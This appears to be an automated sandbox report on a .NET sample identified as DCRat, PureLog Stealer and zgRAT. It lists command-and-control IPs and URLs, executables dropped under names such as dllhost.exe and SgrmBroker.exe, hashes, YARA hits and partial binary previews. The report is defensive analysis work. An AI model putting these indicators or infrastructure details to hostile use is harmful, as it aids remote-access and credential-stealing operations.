Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:57:13	API Interceptor	1879511x Sleep call for process: Z90Z9bYzPa.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.158.202.52	0J5DzstGPi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	337703cm.n9sh.top/Basecentral.php
	t8F7Ic986c.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	797441cm.n9shteam2.top/Videouploads.php
	QH67JSdZWl.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	487997cm.renyash.top/VideoFlowergeneratorTestpublic.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PREVIDER-ASNL	0J5DzstGPi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	185.158.202.52
	t8F7Ic986c.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	185.158.202.52
	QH67JSdZWl.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	185.158.202.52
	kWZnXz2Fw7.elf	Get hash	malicious	Mirai	Browse	84.241.133.1
	aQvU3QHA3N.elf	Get hash	malicious	Unknown	Browse	62.165.97.41
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	84.241.184.118
	http://maritimecybersecurity.nl	Get hash	malicious	Unknown	Browse	31.7.2.29
	21y8z80div.elf	Get hash	malicious	Mirai	Browse	80.65.103.15
	botx.arm7.elf	Get hash	malicious	Mirai	Browse	84.241.184.103
	BLBq6xYqWy.elf	Get hash	malicious	Mirai	Browse	80.65.126.250

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\FXwdgBOn.log	0J5DzstGPi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	aW6kSsgdvv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	HMhdtzxEHf.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	kJrNOFEGbQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	lEwK4xROgV.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	onlysteal.exe	Get hash	malicious	DCRat	Browse
	zZ1Y43bxxV.exe	Get hash	malicious	DCRat	Browse
	VqGD18ELBM.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	updIMdPUj8.exe	Get hash	malicious	DCRat	Browse

Created / dropped Files

C:\Program Files (x86)\Internet Explorer\en-GB\91e168f4ec1147

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with very long lines (424), with no line terminators
Category:	dropped
Size (bytes):	424
Entropy (8bit):	5.860352226081462
Encrypted:	false
SSDEEP:	12:ct316z1Wq7Th2wYapvO1Efe+07ZKMWVjZ7PvM:c3Ez1v6apvbmN9OVjZTM
MD5:	3C3E44979E4C08E866F5C4E985250DEC
SHA1:	4B80FDB0F23808919D6AA342F11A2B2204894E53
SHA-256:	3D582F3DFC20937BE0F557CB475DFC675C59E7BB9B9007E42D3B50C2D6E1AA61
SHA-512:	6E5D4E9C72655CB45D5EAEE083D93384C5B3096DCB64757007940B7B9A0A86147FC2C255D3978C36B01C0ACEFBED49F99F6439F107E45C466D357408C8E54A06
Malicious:	false
Reputation:	low
Preview:	Mwkzy3T8j6JIDkS8s0p3jzvit7PoQvxsjcibDRdx0U1Iel9lcNQThd0WACG1nprxJajkB15aX2DO7nEI7oLCfeLGmLaBLlKLnD8DCYjlSz6pZlZX8839doSpPc8za4Pvs2l4oAGjEkupigrAwDCNrLr8uTyjZuKYkK6hAet71U424nHsv8DX1CDhKnJUMgJUZVEXjJ9RUFVXQzDHMFxbqxhiGZWXVYvVKkciitJl8vDwqqQVjBHGssnmygRKxm55T9NqWeid6Mc5uv1aIAxUQomb60uBc8yVzHcrdk9EcoJgQr1Dp1CwylooXvtfuhB8YGGnSK6hBt1lfGLO8qWl6BgOcxTr1dU5nLHJlOuf4euFtCJQkegDKZBXj2Kf0OqiY68T8Bnu61qbQbeZnDHW6QvNJujtEPoqxMqxEzSi

C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1956352
Entropy (8bit):	7.554851624962979
Encrypted:	false
SSDEEP:	24576:0bTfyVA9AatfC65K16JPuO+Q3Qvi4m4B2g83KWlumjyICs7reNJCN5a4VznpQiCx:avpAwPDpa9mw2nKWljVeNJCyyVqVa
MD5:	F022320106EBE6EF239CB75C93F6B3AD
SHA1:	B183FB4F66D5327889A0440ECA1A61A69AE9CC00
SHA-256:	0B5266AD1C75B3A3D186A050F140EE2D11B076440320989BDA85197D3716A3A1
SHA-512:	E77D922F9BCC6E9F383D955623C532942F5D6FBC8F41F29D284A165ABDB4D6A77AC76CBC1826DABF8BD14FBAA4257258E866C4330D30CF05F17E9B4313DD5F23
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=yg................................. ........@.. .......................@............@.....................................K....... .................... ....................................................... ............... ..H............text........ ...................... ..`.rsrc... ...........................@....reloc....... ......................@..B........................H.......................d................................................0..........(.... ........8........E....M.......)...N...8H...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ....8........0.......... ........8........E....^.......).......R.......8Y...8S... ....~....{....9....& ....8....~....9+... ....~....{....9....& ....8....r...ps....z...... ....~....{y...9k...& ....8`...~....(5... .... .... ....s....~....(9....... ....8*.......~....(=.

C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Windows Defender\en-US\6e10d114dd40fd

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with very long lines (315), with no line terminators
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.7496212347672895
Encrypted:	false
SSDEEP:	6:viSmK/FG5h26ubaP6u9lG4nPjmTgzI/+wdWiLVZlm/Xu+A6RDfKIJCEvn:lEkbak4Pq7ndjHMfpA6RDVJPvn
MD5:	7BCB4F7CEF9F99A12A8FC61B97F03563
SHA1:	7424364633B6AE55C82E8C3C9A14B22BEF898D22
SHA-256:	42DA7A394D3737D677829CB0B7FD48D723D0DC61B4DA7D1932455C6CD06A8EBB
SHA-512:	C281D5C163AD781AADFC6C27592B0CBD21F43D37DAF577C352FD50A58CFF2DCC9EC1FFB8F868DD6449E54D22EAA25236CC96B15607806110BB216259F85EE298
Malicious:	false
Reputation:	low
Preview:	6QQdlsyrDkSyBkX9rwAorI6O3ahdt5YZaIa6HRY3LgeEXi6vdAHvYilyUBkKKV8HL3X3Jb2ZXHdLn10UewAsynB2gllFrOszhX3eLClCHrXQFaLdLPqYUPSh2fXizxsJYnnP8VJbK8lHPuwGaI4bhUfSEVmppDMU8N1bw5ezFPOWnLRHsRHq3QlEIVLmsdvGvRIC3UUenEVSGIo2Df7Y5gbrlwTau2GmdHlWDPOX7nCy5S89rSiNgXLP0aaGB3uv8tz8hRzyRjaSdmwSyUtbU3FF6VgmzHWD2R0Ld9bZdu6662vNoHRqJTbEnuC

C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1956352
Entropy (8bit):	7.554851624962979
Encrypted:	false
SSDEEP:	24576:0bTfyVA9AatfC65K16JPuO+Q3Qvi4m4B2g83KWlumjyICs7reNJCN5a4VznpQiCx:avpAwPDpa9mw2nKWljVeNJCyyVqVa
MD5:	F022320106EBE6EF239CB75C93F6B3AD
SHA1:	B183FB4F66D5327889A0440ECA1A61A69AE9CC00
SHA-256:	0B5266AD1C75B3A3D186A050F140EE2D11B076440320989BDA85197D3716A3A1
SHA-512:	E77D922F9BCC6E9F383D955623C532942F5D6FBC8F41F29D284A165ABDB4D6A77AC76CBC1826DABF8BD14FBAA4257258E866C4330D30CF05F17E9B4313DD5F23
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=yg................................. ........@.. .......................@............@.....................................K....... .................... ....................................................... ............... ..H............text........ ...................... ..`.rsrc... ...........................@....reloc....... ......................@..B........................H.......................d................................................0..........(.... ........8........E....M.......)...N...8H...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ....8........0.......... ........8........E....^.......).......R.......8Y...8S... ....~....{....9....& ....8....~....9+... ....~....{....9....& ....8....r...ps....z...... ....~....{y...9k...& ....8`...~....(5... .... .... ....s....~....(9....... ....8*.......~....(=.

C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\Microsoft\UEV\Scripts\6e10d114dd40fd

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	156
Entropy (8bit):	5.738520850820633
Encrypted:	false
SSDEEP:	3:C/Va18QjH2qnh+DW5/gCNBZu/Jb0QHmiLHP1+VDyHXBH8e:qaHWsz5/gCNBQBb0QHm4N+VDyh8e
MD5:	70C3254EE41B2BE628CD6394713EE789
SHA1:	7437E4AD6EE811154F973BC365398C7C6A168238
SHA-256:	9A2858988C48485C0D9665811084B0533643E28570F41AA03297FBA4A9292C0B
SHA-512:	5152ECFDB5DD2280613ED0B8218777FFF44C7AB3DAF92790F6811D125D7287B438C4EB753BF2F9F85F24E9F0AFB84A2BCFE96AB432EB1C54CB7E534E54E45057
Malicious:	false
Preview:	VShpNH3gppSivYFYLW3PEbOGNw3OeiM75FboGMcXTDtbcSqXql34wGE4EbbaNoCHcUnp6aR94g6Bswn5Ggh2oRLyBhkpuBKoAl8IoAaQT39PKCLRygUqHJcLJzoZzmP2WRBGxfRGFRjvR5n9WS1Nrdh0Ix8y

C:\ProgramData\Microsoft\UEV\Scripts\UdtvoblhRrdVjJaLCN.exe

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1956352
Entropy (8bit):	7.554851624962979
Encrypted:	false
SSDEEP:	24576:0bTfyVA9AatfC65K16JPuO+Q3Qvi4m4B2g83KWlumjyICs7reNJCN5a4VznpQiCx:avpAwPDpa9mw2nKWljVeNJCyyVqVa
MD5:	F022320106EBE6EF239CB75C93F6B3AD
SHA1:	B183FB4F66D5327889A0440ECA1A61A69AE9CC00
SHA-256:	0B5266AD1C75B3A3D186A050F140EE2D11B076440320989BDA85197D3716A3A1
SHA-512:	E77D922F9BCC6E9F383D955623C532942F5D6FBC8F41F29D284A165ABDB4D6A77AC76CBC1826DABF8BD14FBAA4257258E866C4330D30CF05F17E9B4313DD5F23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=yg................................. ........@.. .......................@............@.....................................K....... .................... ....................................................... ............... ..H............text........ ...................... ..`.rsrc... ...........................@....reloc....... ......................@..B........................H.......................d................................................0..........(.... ........8........E....M.......)...N...8H...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ....8........0.......... ........8........E....^.......).......R.......8Y...8S... ....~....{....9....& ....8....~....9+... ....~....{....9....& ....8....r...ps....z...... ....~....{y...9k...& ....8`...~....(5... .... .... ....s....~....(9....... ....8*.......~....(=.

C:\ProgramData\Microsoft\UEV\Scripts\UdtvoblhRrdVjJaLCN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Recovery\5940a34987c991

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with very long lines (446), with no line terminators
Category:	dropped
Size (bytes):	446
Entropy (8bit):	5.849169970705417
Encrypted:	false
SSDEEP:	6:oH0Aw5grP4cd2T3CwKukogRbTJ0WRDJZxOS55s3pidP+3/OUAmwmRvpPgBKSdPcl:Jjw27KukoghF0WRVDmsdGNvqPctr
MD5:	693678CCE5F38B98F4A2C249758CA0ED
SHA1:	667E852AC90A18EF43AD52652B05E92A19E769E9
SHA-256:	0A3722DE1F726477A03ECC22C114036A124DEA0CD4D0CF6BE5463A309195F06C
SHA-512:	430C9AAA7F8A7E3A3594E5C653CD69DAC169532FC6223B5170BBFD7BC51DFCB7A408A60D7ABCE24512008C9C6A0E398A7A0FBFABD27500CC1A9847688AE8A412
Malicious:	false
Preview:	zspTVq2MoC1wN4C9eIm3uPi2rvvuXTZnvRueVwl2hxRYkOiKZLWc7fqkKxmk4IzVnOB5KiorgtW77KRcMkUM77pPlJTiKB8Z86vWNn91go5OJtmAfKYUxnXpivUAOGhfv78BY5OjkdpTCaG2hTC9nnlVjFybS9maGZdLuklk5ytU7EnHocc4Di2HWncSHwRl0PMm75H7rcDy4QXecqwzgsWhhWzGITdIhHes1AKtVfMleEMFP7za9bFI2pFkFAyY94QwwoncgDeAfvDcKt0LdCIGCV0M5joUrxljyZTlTX467EnGlmaVKn56vKuaybg6ZKTrJdouaP1FIMI7sukSISKE1pxop2w107hxv56I8q54v0yjBxrD1OxG9PzepAFid9OKoVLwybUcXPSB1Om2KsAmKaxgGbd7lXbvmo5pl4PZ4Vtu6ynbXNXu9l9Nhp

C:\Recovery\6e10d114dd40fd

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	120
Entropy (8bit):	5.43078489604928
Encrypted:	false
SSDEEP:	3:RngdNrXmNldf9pnNxJI8UiSWOutybBVoGrrWxHHn:B+UHlpNDIFiUi8BCGr8HH
MD5:	9150D5B661478438928917A0E971DA8C
SHA1:	EB24B31114907FDB29F4A367B98F5CA6531D2862
SHA-256:	AD72AB9A0099973AD4B57DFF6DE88244051BC07EC74EFF7D828F9ECA1B64A520
SHA-512:	0BFDA96019FD7E4DBEF8CDA84386CDBD2E382C1A89E14644E3A06B6C124B333670F6BBC20919A09C29EC7B3E36B829681858114DF0638CF2BC6F94CEAE97A64D
Malicious:	false
Preview:	33BEeSOOlzkr3NMoChvBL2uK89gcuD02HLBu7Ryi9d2rQb4umr835m5BJ1Gewwdh8sksLcrvsNCsAC3hEvzCF76ePAlGLTvM9Ush0MiKANKsjNAG7jZA6bcB

C:\Recovery\UdtvoblhRrdVjJaLCN.exe

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1956352
Entropy (8bit):	7.554851624962979
Encrypted:	false
SSDEEP:	24576:0bTfyVA9AatfC65K16JPuO+Q3Qvi4m4B2g83KWlumjyICs7reNJCN5a4VznpQiCx:avpAwPDpa9mw2nKWljVeNJCyyVqVa
MD5:	F022320106EBE6EF239CB75C93F6B3AD
SHA1:	B183FB4F66D5327889A0440ECA1A61A69AE9CC00
SHA-256:	0B5266AD1C75B3A3D186A050F140EE2D11B076440320989BDA85197D3716A3A1
SHA-512:	E77D922F9BCC6E9F383D955623C532942F5D6FBC8F41F29D284A165ABDB4D6A77AC76CBC1826DABF8BD14FBAA4257258E866C4330D30CF05F17E9B4313DD5F23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=yg................................. ........@.. .......................@............@.....................................K....... .................... ....................................................... ............... ..H............text........ ...................... ..`.rsrc... ...........................@....reloc....... ......................@..B........................H.......................d................................................0..........(.... ........8........E....M.......)...N...8H...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ....8........0.......... ........8........E....^.......).......R.......8Y...8S... ....~....{....9....& ....8....~....9+... ....~....{....9....& ....8....r...ps....z...... ....~....{y...9k...& ....8`...~....(5... .... .... ....s....~....(9....... ....8*.......~....(=.

C:\Recovery\UdtvoblhRrdVjJaLCN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Recovery\dllhost.exe

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1956352
Entropy (8bit):	7.554851624962979
Encrypted:	false
SSDEEP:	24576:0bTfyVA9AatfC65K16JPuO+Q3Qvi4m4B2g83KWlumjyICs7reNJCN5a4VznpQiCx:avpAwPDpa9mw2nKWljVeNJCyyVqVa
MD5:	F022320106EBE6EF239CB75C93F6B3AD
SHA1:	B183FB4F66D5327889A0440ECA1A61A69AE9CC00
SHA-256:	0B5266AD1C75B3A3D186A050F140EE2D11B076440320989BDA85197D3716A3A1
SHA-512:	E77D922F9BCC6E9F383D955623C532942F5D6FBC8F41F29D284A165ABDB4D6A77AC76CBC1826DABF8BD14FBAA4257258E866C4330D30CF05F17E9B4313DD5F23
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\dllhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\dllhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\dllhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\dllhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\dllhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\dllhost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=yg................................. ........@.. .......................@............@.....................................K....... .................... ....................................................... ............... ..H............text........ ...................... ..`.rsrc... ...........................@....reloc....... ......................@..B........................H.......................d................................................0..........(.... ........8........E....M.......)...N...8H...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ....8........0.......... ........8........E....^.......).......R.......8Y...8S... ....~....{....9....& ....8....~....9+... ....~....{....9....& ....8....r...ps....z...... ....~....{y...9k...& ....8`...~....(5... .... .... ....s....~....(9....... ....8*.......~....(=.

C:\Recovery\dllhost.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Z90Z9bYzPa.exe.log

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1179
Entropy (8bit):	5.354252320228764
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mM:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHK2
MD5:	074445AD437DEED8A22F11A846280CE2
SHA1:	23025D83D7C33396A5F736FC6F9945976CFCD5D1
SHA-256:	B7FD27029E12BE3B5C2C4010CC9C9BCB77CFE44852CC6EF4C3CED70740BB1CFD
SHA-512:	440F8E77340A5C2F64BF97BC712193145F03AEDB86C0F5C849CA1AD0190E5621DDD7AE8104862383E31FFEC49CCF483CF2E4533C501B2606EE1D0FE66E865B6D
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Temp\0i1fA5DyxN

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0lsa7EXrg7

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0oVq2PuhMy

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\12AD1P3Onb

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
